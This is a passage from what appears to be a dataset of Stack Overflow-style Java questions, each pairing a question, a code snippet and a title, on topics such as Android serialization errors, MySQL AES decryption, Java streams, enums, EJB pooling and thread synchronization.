ViewGroup container , @ Nullable Bundle savedInstanceState ) { View rootView = inflater.inflate ( R.layout.fragment_recycler_list , container , false ) ; mProgressBar = ( ProgressBar ) rootView.findViewById ( R.id.progressbar_news ) ; mFab = ( FloatingActionButton ) rootView.findViewById ( R.id.floatingActionButton ) ; mProgressBar.setVisibility ( View.VISIBLE ) ; Log.d ( TAG , `` onCreateView : Fragment created '' ) ; mAuth = FirebaseAuth.getInstance ( ) ; mDatabaseReference = FirebaseDatabase.getInstance ( ) .getReference ( ) ; if ( mAuth.getCurrentUser ( ) == null ) { startActivity ( new Intent ( getActivity ( ) , LoginActivity.class ) ) ; getActivity ( ) .finish ( ) ; return null ; } if ( getArguments ( ) ! = null ) { mOnFragmentActiveListener = ( OnFragmentActiveListener ) getArguments ( ) .getSerializable ( Keys.FRAGMENT_ACTIVE_LISTENER ) ; mSubject = ( Subject ) getArguments ( ) .getSerializable ( Keys.SUBJECT_KEY ) ; mExam = ( Exam ) getArguments ( ) .getSerializable ( Keys.EXAMS_KEY ) ; } mRecyclerViewPaper = ( RecyclerView ) rootView.findViewById ( R.id.recycler_list ) ; LinearLayoutManager layoutManager = new LinearLayoutManager ( getActivity ( ) ) { @ Override public boolean canScrollVertically ( ) { return false ; } } ; mRecyclerViewPaper.setLayoutManager ( layoutManager ) ; Log.d ( TAG , `` onCreateView : Layout Manager Set . `` ) ; mFab.setOnClickListener ( new View.OnClickListener ( ) { @ Override public void onClick ( View view ) { startAddPaperFragment ( ) ; } } ) ; mOnItemClickListener = new OnItemClickListener ( ) { @ Override public void onItemClicked ( RecyclerView.ViewHolder holder , int position ) { Log.d ( TAG , `` onItemClicked : Clicked item position is : `` + position ) ; QuestionListFragment questionFragment = new QuestionListFragment ( ) ; questionFragment.setRetainInstance ( true ) ; startFragment ( position , questionFragment , QUESTIONS_FRAGMENT_TAG ) ; } @ Override public void OnItemLongClicked ( RecyclerView.ViewHolder holder , int position ) { } } ; mHeadingText = ( TextView ) rootView.findViewById ( R.id.heading_textview ) ; mHeadingText.setText ( mExam.getExam_name ( ) + '' > `` + mSubject.getSubject_name ( ) ) ; if ( mOutState ! = null ) { mPaperList = ( ArrayList < Paper > ) mOutState.getSerializable ( Keys.PAPER_LIST_KEY ) ; updateUI ( ) ; } else { updateUIFromDatabase ( ) ; } return rootView ; } private void startFragment ( int position , Fragment fragment , String fragmentTag ) { Paper paper = new Paper ( ) ; if ( mPaperList.size ( ) > 0 ) { paper = mPaperList.get ( position ) ; } Bundle args = new Bundle ( ) ; args.putSerializable ( Keys.EXAMS_KEY , mExam ) ; args.putSerializable ( Keys.SUBJECT_KEY , mSubject ) ; args.putSerializable ( Keys.PAPER , paper ) ; args.putSerializable ( Keys.FRAGMENT_ACTIVE_LISTENER , mOnFragmentActiveListener ) ; fragment.setArguments ( args ) ; FragmentTransaction fragmentTransaction = getActivity ( ) .getSupportFragmentManager ( ) .beginTransaction ( ) ; fragmentTransaction.setCustomAnimations ( R.anim.slide_in_right , R.anim.slide_out_left , R.anim.slide_in_left , R.anim.slide_out_right ) ; fragmentTransaction.replace ( R.id.questions_fragment_container , fragment , fragmentTag ) ; fragmentTransaction.addToBackStack ( fragmentTag ) ; fragmentTransaction.commit ( ) ; } private void startAddPaperFragment ( ) { AddPaperFragment addPaperFragment = new AddPaperFragment ( ) ; addPaperFragment.setRetainInstance ( true ) ; startFragment ( 0 , addPaperFragment , ADD_PAPER_FRAGMENT_TAG ) ; } private void updateUIFromDatabase ( ) { if ( getArguments ( ) ! = null ) { Exam exam = ( Exam ) getArguments ( ) .getSerializable ( Keys.EXAMS_KEY ) ; Subject subject = ( Subject ) getArguments ( ) .getSerializable ( Keys.SUBJECT_KEY ) ; DatabaseReference paperReference = mDatabaseReference .child ( Keys.APP_DATA_KEY ) .child ( Keys.EXAM_PAPERS ) .child ( exam.getExam_name ( ) ) .child ( subject.getSubject_name ( ) ) ; Query query = paperReference.orderByChild ( Keys.TIME_ADDED ) ; query.addValueEventListener ( new ValueEventListener ( ) { @ Override public void onDataChange ( @ NonNull DataSnapshot dataSnapshot ) { mPaperList.clear ( ) ; for ( DataSnapshot paperChild : dataSnapshot.getChildren ( ) ) { mPaperList.add ( paperChild.getValue ( Paper.class ) ) ; } updateUI ( ) ; } @ Override public void onCancelled ( @ NonNull DatabaseError databaseError ) { } } ) ; } } private void updateUI ( ) { PaperRecyclerAdapter adapter = new PaperRecyclerAdapter ( getActivity ( ) , mRecyclerViewPaper , mPaperList , mOnItemClickListener ) ; mRecyclerViewPaper.setAdapter ( adapter ) ; mProgressBar.setVisibility ( View.GONE ) ; } @ Overridepublic void onResume ( ) { super.onResume ( ) ; if ( getArguments ( ) ! =null ) { mOnFragmentActiveListener.onFragmentActive ( this , `` Topics '' ) ; } } @ Overridepublic void onPause ( ) { super.onPause ( ) ; mOutState = new Bundle ( ) ; mOutState.putSerializable ( Keys.PAPER_LIST_KEY , mPaperList ) ; } 2018-12-26 17:49:38.344 14834-14834/in.crazybytes.bankmaniaadmin E/AndroidRuntime : FATAL EXCEPTION : mainProcess : in.crazybytes.bankmaniaadmin , PID : 14834java.lang.RuntimeException : Parcelable encountered IOException writing serializable object ( name = in.crazybytes.bankmaniaadmin.activities.QuestionsActivity ) at android.os.Parcel.writeSerializable ( Parcel.java:1526 ) at android.os.Parcel.writeValue ( Parcel.java:1474 ) at android.os.Parcel.writeArrayMapInternal ( Parcel.java:723 ) at android.os.BaseBundle.writeToParcelInner ( BaseBundle.java:1408 ) at android.os.Bundle.writeToParcel ( Bundle.java:1133 ) at android.os.Parcel.writeBundle ( Parcel.java:763 ) at android.support.v4.app.FragmentState.writeToParcel ( FragmentState.java:124 ) at android.os.Parcel.writeTypedArray ( Parcel.java:1306 ) at android.support.v4.app.FragmentManagerState.writeToParcel ( FragmentManager.java:639 ) at android.os.Parcel.writeParcelable ( Parcel.java:1495 ) at android.os.Parcel.writeValue ( Parcel.java:1401 ) at android.os.Parcel.writeArrayMapInternal ( Parcel.java:723 ) at android.os.BaseBundle.writeToParcelInner ( BaseBundle.java:1408 ) at android.os.Bundle.writeToParcel ( Bundle.java:1133 ) at android.os.Parcel.writeBundle ( Parcel.java:763 ) at android.app.ActivityManagerProxy.activityStopped ( ActivityManagerNative.java:3697 ) at android.app.ActivityThread $ StopInfo.run ( ActivityThread.java:3768 ) at android.os.Handler.handleCallback ( Handler.java:751 ) at android.os.Handler.dispatchMessage ( Handler.java:95 ) at android.os.Looper.loop ( Looper.java:154 ) at android.app.ActivityThread.main ( ActivityThread.java:6123 ) at java.lang.reflect.Method.invoke ( Native Method ) at com.android.internal.os.ZygoteInit $ MethodAndArgsCaller.run ( ZygoteInit.java:867 ) at com.android.internal.os.ZygoteInit.main ( ZygoteInit.java:757 ) Caused by : java.io.NotSerializableException : com.google.firebase.auth.internal.zzj at java.io.ObjectOutputStream.writeObject0 ( ObjectOutputStream.java:1224 ) at java.io.ObjectOutputStream.defaultWriteFields ( ObjectOutputStream.java:1584 ) at java.io.ObjectOutputStream.writeSerialData ( ObjectOutputStream.java:1549 ) at java.io.ObjectOutputStream.writeOrdinaryObject ( ObjectOutputStream.java:1472 ) at java.io.ObjectOutputStream.writeObject0 ( ObjectOutputStream.java:1218 ) at java.io.ObjectOutputStream.defaultWriteFields ( ObjectOutputStream.java:1584 ) at java.io.ObjectOutputStream.writeSerialData ( ObjectOutputStream.java:1549 ) at java.io.ObjectOutputStream.writeOrdinaryObject ( ObjectOutputStream.java:1472 ) at java.io.ObjectOutputStream.writeObject0 ( ObjectOutputStream.java:1218 ) at java.io.ObjectOutputStream.writeObject ( ObjectOutputStream.java:346 ) at android.os.Parcel.writeSerializable ( Parcel.java:1521 ) at android.os.Parcel.writeValue ( Parcel.java:1474 ) at android.os.Parcel.writeArrayMapInternal ( Parcel.java:723 ) at android.os.BaseBundle.writeToParcelInner ( BaseBundle.java:1408 ) at android.os.Bundle.writeToParcel ( Bundle.java:1133 ) at android.os.Parcel.writeBundle ( Parcel.java:763 ) at android.support.v4.app.FragmentState.writeToParcel ( FragmentState.java:124 ) at android.os.Parcel.writeTypedArray ( Parcel.java:1306 ) at android.support.v4.app.FragmentManagerState.writeToParcel ( FragmentManager.java:639 ) at android.os.Parcel.writeParcelable ( Parcel.java:1495 ) at android.os.Parcel.writeValue ( Parcel.java:1401 ) at android.os.Parcel.writeArrayMapInternal ( Parcel.java:723 ) at android.os.BaseBundle.writeToParcelInner ( BaseBundle.java:1408 ) at android.os.Bundle.writeToParcel ( Bundle.java:1133 ) at android.os.Parcel.writeBundle ( Parcel.java:763 ) at android.app.ActivityManagerProxy.activityStopped ( ActivityManagerNative.java:3697 ) at android.app.ActivityThread $ StopInfo.run ( ActivityThread.java:3768 ) at android.os.Handler.handleCallback ( Handler.java:751 ) at android.os.Handler.dispatchMessage ( Handler.java:95 ) at android.os.Looper.loop ( Looper.java:154 ) at android.app.ActivityThread.main ( ActivityThread.java:6123 ) at java.lang.reflect.Method.invoke ( Native Method ) at com.android.internal.os.ZygoteInit $ MethodAndArgsCaller.run ( ZygoteInit.java:867 ) at com.android.internal.os.ZygoteInit.main ( ZygoteInit.java:757 ) import java.io.Serializable ; public class Exam implements Serializable { private String mExam_name ; private String mExam_key ; private Long mTime_added ; private int mNum_subjects ; private int mNum_questions ; public Exam ( String exam_name , String exam_key , Long time_added , int num_subjects , int num_questions ) { mExam_name = exam_name ; mExam_key = exam_key ; mTime_added = time_added ; mNum_subjects = num_subjects ; mNum_questions = num_questions ; } public Exam ( ) { } public String getExam_name ( ) { return mExam_name ; } public void setExam_name ( String exam_name ) { mExam_name = exam_name ; } public String getExam_key ( ) { return mExam_key ; } public void setExam_key ( String exam_key ) { mExam_key = exam_key ; } public Long getTime_added ( ) { return mTime_added ; } public void setTime_added ( Long time_added ) { mTime_added = time_added ; } public int getNum_subjects ( ) { return mNum_subjects ; } public void setNum_subjects ( int num_subjects ) { mNum_subjects = num_subjects ; } public int getNum_questions ( ) { return mNum_questions ; } public void setNum_questions ( int num_questions ) { mNum_questions = num_questions ; } package in.crazybytes.bankmaniaadmin.models ; import java.io.Serializable ; public class Paper implements Serializable { private String mPaper_name ; private String mPaper_key ; private Long mTime_added ; private int mNum_questions ; public Paper ( String paper_name , String paper_key , Long time_added , int num_questions ) { mPaper_name = paper_name ; mPaper_key = paper_key ; mTime_added = time_added ; mNum_questions = num_questions ; } public Paper ( ) { } public String getPaper_key ( ) { return mPaper_key ; } public void setPaper_key ( String paper_key ) { mPaper_key = paper_key ; } public Long getTime_added ( ) { return mTime_added ; } public void setTime_added ( Long time_added ) { mTime_added = time_added ; } public int getNum_questions ( ) { return mNum_questions ; } public void setNum_questions ( int num_questions ) { mNum_questions = num_questions ; } public String getPaper_name ( ) { return mPaper_name ; } public void setPaper_name ( String paper_name ) { mPaper_name = paper_name ; } package in.crazybytes.bankmaniaadmin.models ; import java.io.Serializable ; public class Subject implements Serializable { private String mSubject_name ; private String mSubject_key ; private Long mTime_added ; private int mNum_papers ; private int mNum_questions ; public Subject ( String subject_name , String subject_key , Long time_added , int num_papers , int num_questions ) { mSubject_name = subject_name ; mSubject_key = subject_key ; mTime_added = time_added ; mNum_papers = num_papers ; mNum_questions = num_questions ; } public Subject ( ) { } public String getSubject_name ( ) { return mSubject_name ; } public void setSubject_name ( String subject_name ) { mSubject_name = subject_name ; } public String getSubject_key ( ) { return mSubject_key ; } public void setSubject_key ( String subject_key ) { mSubject_key = subject_key ; } public Long getTime_added ( ) { return mTime_added ; } public void setTime_added ( Long time_added ) { mTime_added = time_added ; } public int getNum_papers ( ) { return mNum_papers ; } public void setNum_papers ( int num_papers ) { mNum_papers = num_papers ; } public int getNum_questions ( ) { return mNum_questions ; } public void setNum_questions ( int num_questions ) { mNum_questions = num_questions ; }",NotSerializableException when FragmentActivity goes to background in Android +Java,"I have encrypted data in my database , and I am trying to execute a request which allows me to display in phpmyadmin the values in clear.I use the following request : When I use it on the dev environment ( windows ) , it is working well . But once I use it on the pre-prod environment ( linux ) , I get NULL for all values instead.I am pretty sure it has something to do with the different environments , but I can not figure out what . I do n't even know which function does not act as expected : UNHEX or AES_DECRYPT ( my guess would be UNHEX ) ? Here are the config of my dev and preprod environments : Dev : Preprod : EDIT : I have continued my researches , and it seams the methods AES_DECRYPT and UNHEX are not guilty.Indeed , if I directly add encrypted value in the table from phpMyAdmin as follows : Then I manage to retrieve the data correctly with the previous SELECT request.That means the problem must come from the way I insert the data in the first place.For this I use Hibernate and the nullSafeSet method.What is bothering me is : if there is a problem with the way I save the data , how come it is working on Windows but not on Linux ? Below are my implementations of nullSafeSet and nullSafeGetDo you have any idea what might cause the problem ?","SELECT CAST ( AES_DECRYPT ( ` my_encrypted_colum ` , UNHEX ( 'pass_in_hexa ' ) AS CHAR ) AS clear_value FROM ` my_table ` Serveur : localhost via TCP/IPType de serveur : MySQLVersion du serveur : 5.6.15-log - MySQL Community Server ( GPL ) Version du protocole : 10Utilisateur : root @ localhostJeu de caractères du serveur : UTF-8 Unicode ( utf8 ) Apache/2.2.25 ( Win32 ) PHP/5.3.19Version du client de base de données : libmysql - mysqlnd 5.0.8-dev - 20102224 - $ Id : 65fe78e70ce53d27a6cd578597722950e490b0d0 $ Extension PHP : mysqli Serveur : Localhost via UNIX socketLogiciel : MySQLVersion du logiciel : 5.6.14 - MySQL Community Server ( GPL ) Version du protocole : 10Utilisateur : root @ localhostJeu de caractères du serveur : UTF-8 Unicode ( utf8 ) Apache/2.2.15 ( CentOS ) Version du client de base de données : libmysql - 5.1.72Extension PHP : mysqli INSERT INTO ` my_table ` ( ` my_encrypted_column ` ) VALUES ( AES_ENCRYPT ( 'blabla ' , UNHEX ( 'pass_in_hexa ' ) ) private static final String CIPHER_ALGORITHM = `` AES '' ; // nullSafeSetprotected void noNullSet ( PreparedStatement st , Object value , int index , SessionImplementor si ) throws SQLException { byte [ ] clearText = ( ( String ) value ) .getBytes ( Charset.forName ( `` UTF-8 '' ) ) ; try { Cipher encryptCipher = Cipher.getInstance ( CIPHER_ALGORITHM ) ; encryptCipher.init ( Cipher.ENCRYPT_MODE , getKey ( cle ) ) ; st.setBytes ( index , encryptCipher.doFinal ( clearText ) ) ; } catch ( GeneralSecurityException e ) { throw new RuntimeException ( `` should never happen '' , e ) ; } } @ Overridepublic Object nullSafeGet ( ResultSet rs , String [ ] names , SessionImplementor si , Object owner ) throws HibernateException , SQLException { byte [ ] bytes = rs.getBytes ( names [ 0 ] ) ; try { Cipher decryptCipher = Cipher.getInstance ( CIPHER_ALGORITHM ) ; decryptCipher.init ( Cipher.DECRYPT_MODE , getKey ( cle ) ) ; if ( bytes ! = null ) { return new String ( decryptCipher.doFinal ( bytes ) , Charset.forName ( `` UTF-8 '' ) ) ; } else { return new String ( ) ; } } catch ( GeneralSecurityException e ) { throw new RuntimeException ( `` Mauvaise clé '' ) ; } } private static SecretKeySpec getKey ( String secretKey ) { final byte [ ] finalKey = new byte [ 16 ] ; int i = 0 ; for ( byte b : secretKey.getBytes ( ) ) { // XOR finalKey [ i++ % 16 ] ^= b ; } return new SecretKeySpec ( finalKey , `` AES '' ) ; }",AES_DECRYPT not working on linux : maybe linked to Hibernate +Java,"From the Java 6 TreeSet < E > Documentation : Why does this accept an Object instead of the generic type E ? The only objects that can be added are of type E , so it follows that the only removable type should be of type E .",boolean remove ( Object o ) : Removes the specified element from this set if it is present .,Why does Java 's TreeSet < E > remove ( Object ) not take an E +Java,I have a List of Java Objects ( assume getters and setters ) : I need to return a boolean for if the list contains a certain name value and a certain part value . I have it working for one filter at a time : But I get error Non-static method can not be referenced from a static context on Record : :getPart for this attempt :,"Record ( String name , String part , String value ) ; //assume records are added to this listList < Record > masterList = new ArrayList < Record > ( ) ; boolean check = masterList.stream ( ) .map ( Record : :getName ) .filter ( record.getName ( ) : :equals ) .findFirst ( ) .isPresent ( ) ; masterList.stream ( ) .map ( Record : :getName ) .filter ( record.getName ( ) : :equals ) .map ( Record : :getPart ) .filter ( record.getPart ( ) : :equals ) .findFirst ( ) .isPresent ( ) ;",Search list with Java Stream using multiple filters +Java,"What I need to do : Compile the SDL2 source into an .so file for x86 and ARM64 architectureReference this file in Xamarin.AndroidCall the SDL2 methods in my C # code.Things I 've learned so far : SDL2 requires a Java Activity or JNI bindings to invoke the native code.I can not proceed without somehow integrating SDL2 libs and a JNI to the Xamarin.Android project.I am incapable of solving this problem and my brain has fried in the process.Things I 've tried : Outdated GitHub projects : https : //github.com/0x0ade/SDL2Droid-CShttps : //github.com/fallahn/sdl2vsThis blog post that lets me create C++ code but not using Xamarinhttps : //trederia.blogspot.com/2017/03/building-sdl2-for-android-with-visual.htmlRunning SDL2 through Android Studio which works but does n't help me as I need to invoke my C # code.I do n't have extensive Xamarin knowledge so I 'm not sure how to do this , I can really use another pair of eyes right now . The SDL2Droid-CS GitHub project should theoretically work but I ca n't find a way to compile the SDL2 used in that project for the x86 emulator included in C # .I tried compiling my code using armeabiv7 libsdl2.so and then running it directly on my phone . Unfortunately Visual Studio was unable to debug this thus making it difficult for me to implement my code.Next I tried to debug the previously compiled app ( using SDL2Droid-CS ) through Android Studio and it gave me this error : The Min SDK was 19 so the error it gives is weird.I 'm assuming that SDL2 was not implemented properly which is leading to all these problems . The GitHub code has some holes and the person who uploaded it has n't been active . Resources : SDL2 Website : https : //www.libsdl.org/SDL2 Source : https : //www.libsdl.org/release/SDL2-2.0.8.zipSDL2Droid GitHub Project : https : //github.com/0x0ade/SDL2Droid-CSGitHub Project from blog : https : //github.com/fallahn/sdl2vsBlog that explains building SDL2 in Visual Studio","06-19 00:39:55.362 13143-13143/ ? I/zygote64 : Late-enabling -Xcheck : jni06-19 00:39:55.474 13143-13143/SDL2Droid_CS.SDL2Droid_CS W/ActivityThread : Application SDL2Droid_CS.SDL2Droid_CS can be debugged on port 8100 ... 06-19 00:39:55.514 13143-13143/ ? W/monodroid : Creating public update directory : ` /data/user/0/SDL2Droid_CS.SDL2Droid_CS/files/.__override__ ` Using override path : /data/user/0/SDL2Droid_CS.SDL2Droid_CS/files/.__override__ Using override path : /storage/emulated/0/Android/data/SDL2Droid_CS.SDL2Droid_CS/files/.__override__ Trying to load sgen from : /data/user/0/SDL2Droid_CS.SDL2Droid_CS/files/.__override__/libmonosgen-2.0.so Trying to load sgen from : /storage/emulated/0/Android/data/SDL2Droid_CS.SDL2Droid_CS/files/.__override__/libmonosgen-2.0.so Trying to load sgen from : /storage/emulated/0/../legacy/Android/data/SDL2Droid_CS.SDL2Droid_CS/files/.__override__/libmonosgen-2.0.so Trying to load sgen from : /data/app/SDL2Droid_CS.SDL2Droid_CS-wmPu9Ce48QdJhvYc6bPRiA==/lib/arm64/libmonosgen-2.0.so Trying to load sgen from : /data/user/0/SDL2Droid_CS.SDL2Droid_CS/files/.__override__/links/libmonosgen-2.0.so06-19 00:39:55.515 13143-13143/ ? W/monodroid : Trying to load sgen from : /system/lib/libmonosgen-2.0.so06-19 00:39:55.515 13143-13143/ ? A/monodroid : can not find libmonosgen-2.0.so in override_dir : /data/user/0/SDL2Droid_CS.SDL2Droid_CS/files/.__override__ , app_libdir : /data/app/SDL2Droid_CS.SDL2Droid_CS-wmPu9Ce48QdJhvYc6bPRiA==/lib/arm64 nor in previously printed locations . Do you have a shared runtime build of your app with AndroidManifest.xml android : minSdkVersion < 10 while running on a 64-bit Android 5.0 target ? This combination is not supported . Please either set android : minSdkVersion > = 10 or use a build without the shared runtime ( like default Release configuration ) .",How to implement the SDL2 library into Xamarin.Android ? +Java,"I have the following html , using Jsoup I 'm trying to extract the text in the p section which does not have any attributes ( the text `` Some text 2 '' and not `` Some text 1 '' ) .I tried using the following Jsoup expression : But it does n't work.Thanks for your help .",< div id= '' intro '' > < h1 class= '' some class '' > < p id= '' some_id '' > Some text 1 < /p > < p > Some text 2 < /p > < /div > div [ id=intro ] > p : not ( : has ( @ * ) ),Getting element with no attributes using Jsoup +Java,"I understand there is one single instance per predefined constant of an enum type . Is that even right ? Now , suppose there is an instance variable called value of the enum , and suppose ONE is a predefined constant . If value is modified for ( the ) instance of ONE then this affects all variables referring to ONE . But what happens to the value of value when the garbage collector gets rid of all instances of the enum ? Do they ever get thrown away even ? ExampleHere is a simple example where there are two variables A and B , both referring to ONE . The value of value is negated before B is used for the first time . If the garbage collector had gotten rid of the instance of ONE before the line Number B = Number.ONE ; , then the value of value would have been `` reset '' back to 1 , I presume . Is this correct ? The enum : The main method : Output : value : -1 value : -1So my question is , can the output ever be the following ( if say A = null ; is added before B is used ) ? value : -1 value : 1","public enum Number { ONE ( 1 ) , TWO ( 2 ) , THREE ( 3 ) ; int value ; Number ( int value ) { this.value = value ; } void negate ( ) { value = -value ; } @ Override public String toString ( ) { return `` value : `` + value ; } } public static void main ( String [ ] args ) { Number A = Number.ONE ; A.negate ( ) ; Number B = Number.ONE ; System.out.println ( A + `` `` + B ) ; }",Life span of a Java enum instance +Java,"What I need to do is to download an artifact from my internal repository ( currently Nexus ) with all its dependencies , to a specified directory . And that without actually downloading the source code ( and using its pom.xml ) : I need to just run a plain maven command from the shell and access the binaries in my repository.I do n't need to download the dependencies to my local repository ( the behaviour of the dependency : get / dependency : copy plugins ) , I want the artifact AND all of its dependencies copied to a specified directory.Something like this : What I 've tried : dependency : get and dependency : copy plugins copy the dependencies to my local repository ( under ~/.m2 ) which is not what I want.dependency : copy-dependencies requires a maven project . I need to run the command without a pom.xml.com.googlecode.maven-download-plugin : maven-download-plugin : artifact plugin should work with -DdependencyDepth= < some high value > , but it fails trying to resolve a dependency to xerces : xerces-impl:2.6.2 . I manually uploaded it to my Nexus , but then it failed trying to find xml-apis : xml-apis:2.6.2 , which does n't exist.So , any ideas ? Thanks .",mvn super-downloader : download-everything -Dartifact=my.group : myArtifact : version -Ddirectory= .,How to download an artifact with its dependencies to a specified directory - without pom.xml - using Maven ? +Java,"I 'm studying for 1z0-809 : Java SE 8 Programmer II using Enthuware 's mocktests.Encountering this question.Which of the above statements will print 9 ? Answer is1 and 3But there is something else . I do n't get whyI tried to debug it using peek but it does n't help me understanding.I tried to sort ls using Integer : :max and Integer : :compareOf course , I get the fact that Integer : :max is not a Comparator , hence it has the same signature of one.For me , max should be 7 in the first case since it is the last element like when I sorted with Ìnteger : :compareCould someone break it down to something simple ?","List < Integer > ls = Arrays.asList ( 3,4,6,9,2,5,7 ) ; System.out.println ( ls.stream ( ) .reduce ( Integer.MIN_VALUE , ( a , b ) - > a > b ? a : b ) ) ; //1System.out.println ( ls.stream ( ) .max ( Integer : :max ) .get ( ) ) ; //2System.out.println ( ls.stream ( ) .max ( Integer : :compare ) .get ( ) ) ; //3System.out.println ( ls.stream ( ) .max ( ( a , b ) - > a > b ? a : b ) ) ; //4 System.out.println ( ls.stream ( ) .max ( Integer : :max ) .get ( ) ) ; // PRINTS 3 ls.sort ( Integer : :max ) ; // [ 3 , 4 , 6 , 9 , 2 , 5 , 7 ] ls.sort ( Integer : :compare ) ; // [ 2 , 3 , 4 , 5 , 6 , 7 , 9 ]",Stream.max ( Integer : :max ) : Unexpected result +Java,"I have a class that contains an Enum to do calculation.Each Enum uses some or all of the non-static variables from the outer class . However since they ca n't access instance variable , I have to pass in them as parameters . My problem is that I ca n't have a uniform way to pass in the parameters in the for-loop . I could make each Enum method takes all classes likeBut if I have more classes , the parameter will look too ugly . Is there a better way to do this kind of thing ?","public class Outer { ClassA a ; ClassB b ; ClassC c ; Map < MyEnum , Double > results= new EnumMap ( MyEnum.class ) ; private enum MyEnum { X { public double calc ( ClassA _a ) { dostuff } } , Y { public double calc ( ClassB _b , ClassC _c ) { dostuff } } , Z { public double calc ( ClassA _a , ClassB _b ) { dostuff } } ; } public void doCalc ( ) { for ( MyEnum item : MyEnum.values ( ) ) { result.get ( item ) = item.calc ( ... ) ; //Not uniform here } } } public double calc ( ClassA _a , ClassB _b , ClassC _c ) { dostuff }",Simplify method in an Enum class in Java +Java,"I ca n't understand how the EJB container manage thread-safety for @ Stateless beans with instance variables . So I will give a simple example before explaining my concerns : Here is my questions , assuming that our container supports pooling:1 . Pooling vs Thread-safe : User 1 used an instance of BeanTest and modified the var using the modify method , then he finished and the container put the instance of BeanTest in the managed pool . When User 2 tries to use the same bean for a request , he might get the same instance of BeanTest intially modified by User 1 ( I understand that might get another instance too ) . So which state of the instance variable var he will find ( default value which is null or `` TestName '' ) ? if its the new modified one , do that mean that even @ Stateless beans are not 100 % thread-safe ? So finnaly there is no container added -value regarding thread safety , as not using instance variable makes a bean thread safe even if it 's not a @ Stateless bean2 . Pooling vs @ PreDestroyIf the bean is returned to the managed pool and not destroyed , do that mean that the @ Predestroy method will not be called and in that case the connection will stay opened ? So , if we have 30 inctance of that bean in the pool , we may have 30 open connection that is not used , is n't that a performance issue ? or this not how @ Predestroy is working conbined with pooling ? ( using Connection is just an example , we may have other kind of ressource that we need to close in @ Predestroy ) NB : This is not a real life example , so I'am not looking for an alternative solution , my concern is to understand the whole concept and how things are managed in the Application Server , what is happening under the hood",@ Statelesspublic class BeanTest { @ Injectprivate String var ; private Connection connection ; @ Resource ( name = `` jdbc/TestDB '' ) private DataSource dataSource ; public void modify ( ) { var = `` TestName '' ; } @ PostConstructpublic void initialize ( ) { try { connection = dataSource.getConnection ( ) ; } catch ( SQLException sqle ) { sqle.printStackTrace ( ) ; } } @ PreDestroypublic void cleanup ( ) { try { connection.close ( ) ; connection = null ; } catch ( SQLException sqle ) { sqle.printStackTrace ( ) ; } } },EJB Pooling vs Thread-safe and @ PreDestroy +Java,"I am sure my question does n't make sense , but it 's because I do n't know what I am seeing or how to describe it ... The following code compiles fine , but it should n't because int is not the same type as Integer . Should n't this give a compiler error ? And if the compiler expects the type of Class < Integer > how at runtime does it get resolved to Class < int > ? Is this some magic where the compiler lets it go on primitives ? And if the compiler relaxes validation on primitives does n't this lead to bugs where method writers expect the type to be the EXACT type Class < Integer > and instead is delivered Class < int > .In short , why does this compile and produce the correct or wrong ( depending on perspective ) result at runtime.output : For the control group , this code does NOT COMPILE as I would expectErrors :","public static void main ( String [ ] args ) { printClass ( `` int `` , int.class ) ; printClass ( `` Integer `` , Integer.class ) ; System.out.printf ( `` AreEqual '' , int.class == Integer.class ) ; } private static void printClass ( String text , final Class < Integer > klazz ) { System.out.printf ( `` % s : % s % s '' , text , klazz , `` \n '' ) ; } int : intInteger : class java.lang.IntegerAreEqual : false public static void main ( String [ ] args ) { printClass ( `` Person `` , Person.class ) ; printClass ( `` Employee '' , Employee.class ) ; System.out.printf ( `` AreEqual : % s '' , Person.class == Employee.class ) ; } private static void printClass ( String text , final Class < Person > klazz ) { System.out.printf ( `` % s : % s % s '' , text , klazz , `` \n '' ) ; } public class Employee extends Person { } public class Person { } Error : ( 8 , 40 ) java : incompatible types : java.lang.Class < com.company.Employee > can not be converted to java.lang.Class < com.company.Person >",Does int.class autobox to Class < Integer > +Java,"I just want to introduce a small observer pattern ( listeners ) in one of my classes , and I want to use the best-practice approach.My listener interface : Therefore , I want to keep a list of listenersand two methods addListener ( ExpansionListener l ) and removeListener ( ExpansionListener l ) .Now , my question : What kind of list should I take ? I thought about using a concurrent list like CopyOnWriteArrayList , but I found out that also EventListenerList exists . What is the best-practice approach for listener-lists in Java ?",public interface ExpansionListener { void expanded ( ) ; void collapsed ( ) ; } private List listener ; // What kind of list should I take ?,Correct ( and best ) collection type for listeners in Java +Java,"I am trying to learn Multi threading and for practice , I am trying to print odd & even number using two thread . I have created an object which will act as a lock for the both the threads . When I try to execute it throws java.lang.IllegalMonitorStateException.Main Method :","class EVENODDimpl implements Runnable { int num ; int temp = 0 ; Object lock = new Object ( ) ; public EVENODDimpl ( int num ) { this.num = num ; } public void run ( ) { try { synchronized ( lock ) { while ( temp < num ) { temp++ ; System.out.println ( Thread.currentThread ( ) .getName ( ) + '' `` +temp ) ; this.notify ( ) ; this.wait ( ) ; } } } catch ( InterruptedException e ) { e.printStackTrace ( ) ; } } } public class EVENODD { public static void main ( String [ ] args ) { int i = 10 ; EVENODDimpl ei = new EVENODDimpl ( i ) ; Thread t1 = new Thread ( ei , '' EvenThread '' ) ; Thread t2 = new Thread ( ei , '' OddThread '' ) ; t1.start ( ) ; t2.start ( ) ; try { t1.join ( ) ; t2.join ( ) ; } catch ( InterruptedException e ) { e.printStackTrace ( ) ; } } }",Print odd & even number using Multi threading +Java,what is the difference between reading system properties in this different ways AND,RuntimeMXBean RuntimemxBean = ManagementFactory.getRuntimeMXBean ( ) ; Object value = RuntimemxBean.getSystemProperties ( ) ; System.out.println ( value ) ; Properties systemProperties = System.getProperties ( ) ; systemProperties.list ( System.out ) ;,difference reading system properties with RuntimeMXBean instance and System.getProperties +Java,"I 'm using a GridView inside an ExpandableListViewI have a function that highlights an item when it is clicked , now I 'm trying to implement a button that when pressed it will unselect all selected items , but it is unselecting only the last view clickedLayout : here is what is happening : when I select all the items from A to B like that : And hit clear , it will only remove the selected children from the last group that I clicked : I need to remove them all when I click on Clear , all the children no matter in what group they are have to be removed.ExpandableAdapter :","public class GridAdapter extends BaseAdapter { private Context mContext ; private ArrayList < Filhos > child ; public ArrayList < CadastraEscolas > escola ; private ArrayList < ArrayList < Filhos > > filhos = new ArrayList ( ) ; public GridAdapter ( Context context , ArrayList < CadastraEscolas > groups , ArrayList < Filhos > childValues , int groupPosition ) { mContext = context ; child = childValues ; escola = groups ; posicaoEscola = groupPosition ; } @ Override public int getCount ( ) { return child.size ( ) ; } @ Override public Object getItem ( int position ) { return position ; } @ Override public long getItemId ( int arg0 ) { return 0 ; } @ Override public View getView ( final int position , View convertView , final ViewGroup parent ) { holder = null ; if ( convertView == null ) { LayoutInflater inflater = ( LayoutInflater ) mContext .getSystemService ( 